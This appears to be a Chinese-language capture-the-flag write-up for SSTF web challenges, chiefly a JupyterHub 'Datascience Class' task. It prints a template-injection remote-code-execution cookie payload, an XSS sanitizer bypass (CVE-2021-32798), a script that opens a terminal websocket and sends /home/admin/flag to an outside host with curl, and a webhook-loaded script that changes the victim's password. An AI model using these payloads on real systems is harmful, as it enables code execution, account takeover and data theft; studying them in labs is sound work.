curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}'

[Web] Datascience Class

這題有個 jupyter hub 的服務可以註冊和登入,代表你可以直接在 server 上執行指令了。然而它註冊似乎是直接創建新的 linux user,包括有自己的 home directory,而題目本身還有兩個帳號 adminsub-admin,flag 是放在 /home/admin/flag 之中,但我們沒有權限讀取。

另外題目還有個 xss bot 會定時 visit 各 user 的 assignment.ipynb 頁面,所以可以放些 javascript 嘗試去獲得一些資訊。我測試了一下之後發現 xss bot 的 user 是 sub-admin,就想說先把 sub-admin 的 password 改掉,方便我登入進那帳號之後看看能不能做些事撈到 admin 的 flag。

不過就在我做到這邊的時候 seadog007 就已經用 pspy 從其他隊伍那邊偷到 flag 了 XDDD,所以就沒繼續做下去。

後來賽後知道說 sub-adminadmin 都是同個 group 的,所以可以用 shell read flag,但是不能直接透過 notebook api 的 /user/admin/api/contents/flag 讀 flag 而已。

記錄個別人的 payload,不是透過改 password 而是直接用 websocket 達成的:

1
2
3
4
5
fetch("http://datasciencecls.sstf.site/user/sub-admin/api/terminals",{method: 'POST', headers:{"X-XSRFToken":document.cookie.slice(6)}});
ws = new WebSocket("ws://datasciencecls.sstf.site/user/sub-admin/terminals/websocket/1");
ws.addEventListener('open', (event) => {
ws.send('["stdin","curl http://xxx/flag?testnw`whoami` -d@/home/admin/flag\\r"]')
})

另外還有一點是 jupyter notebook 雖然可以直接用 html:

1
2
%%html
<img src=x onerror="some javascript">

但是 onerror 中的東西在儲存後 F5 之後可能會消失 (但也有成功的可能存在...),需要重新手動執行一下那個 cell 才能正常運作,大概是有在做一些 sanitization。賽後有看到有人是用這個方法繞的:

1
2
%%html
<select><iframe></select><img src=x: onerror="some javascript">

後來才知道這原來是 CVE-2021-32798,因為 jupyter 本身會把剛 load 時所載入的 html 視為 unstusted,所以會嘗試去 sanitize html

我自己的 payload:

1
2
%%html
<select><iframe></select><img src=x: onerror="import('https://webhook.site/SOME_UUID')">

webhook response:

1
fetch('/hub/change-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'password=NEWPASSWORD'}).then(r=>r.text()).catch(err=>err.message).then(t=>fetch('https://webhook.site/SOME_UUID',{method:'POST',body:t}))

然後使用 sub-admin/NEWPASSWORD 登入之後 !cat /home/admin/flag 拿 flag: SCTF{I_want_t0_b3_data_speciai1ist}